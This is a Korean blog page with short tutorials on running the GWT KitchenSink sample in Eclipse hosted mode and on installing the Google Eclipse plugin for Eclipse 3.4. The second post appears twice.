이클립스 메뉴에서 File --> New... --> Examples 를 선택한 다음, GWT Samples 를 선택한다.
(만약 Cypal이 정상적으로 깔리지 않았다면, 이 목록이 나타나지 않을 것이다.)

그 다음화면에서 다음과 같이 KitchenSink를 선택한다.

그 다음 Finish를 누르면, 해당 프로젝트의 Java Resources하단에 sample_src패키지가 생기고, 그 밑에 Kitchen Sink 샘플이 설치된다.

정상적으로 샘플이 저장되었다면, 해당 프로젝트를 선택한 상태에서 오른쪽 마우스를 클릭하고, Run As... --> Open Run Dialog... 을 클릭한다.

그러면 중간에 뻘건 가방 아이콘과 함께 GWT Hosted Mode Application 이라는 것이 있을 것이다.

만약 Kitchen Sink가 없다면, GWT Hosted Mode Application 을 더블클릭한다.

그러면 가장 위에 이름을 지정하는 곳이 있고, 원하는 이름을 입력한다.

Project와 Module 은 각각 본인의 프로젝트와 방금 추가한 모듈을 선택한다. Apply를 누르고 Run을 눌러보자.

정상적으로 지정이 되었다면, 다음의 두개 화면이 나타날 것이다.

하나는 Host 모드로 돌아가는 톰캣서버 콘솔이고 여기서 에러 메시지를 확인할 수 있다.

다른 하나는 결과를 확인하기 위한 브라우져다.

이제 GWT의 재미를 슬슬 느껴보자.~~~


출처 : http://www.tuning-java.com/92

Posted by 1010
98..Etc/GWT2009. 9. 27. 16:36
반응형
Eclipse를 이용하면 Java 애플리케이션을 좀더 쉽게 개발할 수 있다. GWT는 Eclipse 플러그인을 제공하는데, 이 플러그인을 이용하면 편리한 이클립스개발환경에서 개발및 디버깅을 할 수 있다.

Eclipse Google Plugin 설치하기

GWT Eclipse 플러그인은 eclipse의 software update 기능을 이용해서 설치할 수 있다.

설치는 eclipse 3.4를 기준으로 한다. 최초에는 eclipse 3.2 버전에 설치해보려고 했으나 실패했다. eclipse 사이트에 갔더니 3.5가 최신버전이였다. 이왕 하는거 3.5를 사용하면 어떨까 해서 정보를 찾아보았는데, 현재 gwt 1.6 버전은 3.5에서 작동하지 않는다고 했다. 약간 아쉽긴 하지만 걍 3.4로 밀고가기로 했다.
  1. Help 메뉴의 Software Update를 선택한다.
  2. Available Software 탭을 선택한다음 Add site를 클릭한다.
  3. Location 에 아래의 URL을 입력한다.

    http://dl.google.com/eclipse/plugin/3.4 
     
  4. 이제 Google Update Site for Eclipse 3.4를 선택하고 install 버턴을 클릭하면 된다.
Posted by 1010
98..Etc/GWT2009. 9. 27. 16:36
반응형
Eclipse를 이용하면 Java 애플리케이션을 좀더 쉽게 개발할 수 있다. GWT는 Eclipse 플러그인을 제공하는데, 이 플러그인을 이용하면 편리한 이클립스개발환경에서 개발및 디버깅을 할 수 있다.

Eclipse Google Plugin 설치하기

GWT Eclipse 플러그인은 eclipse의 software update 기능을 이용해서 설치할 수 있다.

설치는 eclipse 3.4를 기준으로 한다. 최초에는 eclipse 3.2 버전에 설치해보려고 했으나 실패했다. eclipse 사이트에 갔더니 3.5가 최신버전이였다. 이왕 하는거 3.5를 사용하면 어떨까 해서 정보를 찾아보았는데, 현재 gwt 1.6 버전은 3.5에서 작동하지 않는다고 했다. 약간 아쉽긴 하지만 걍 3.4로 밀고가기로 했다.
  1. Help 메뉴의 Software Update를 선택한다.
  2. Available Software 탭을 선택한다음 Add site를 클릭한다.
  3. Location 에 아래의 URL을 입력한다.

    http://dl.google.com/eclipse/plugin/3.4 
     
  4. 이제 Google Update Site for Eclipse 3.4를 선택하고 install 버턴을 클릭하면 된다.
Posted by 1010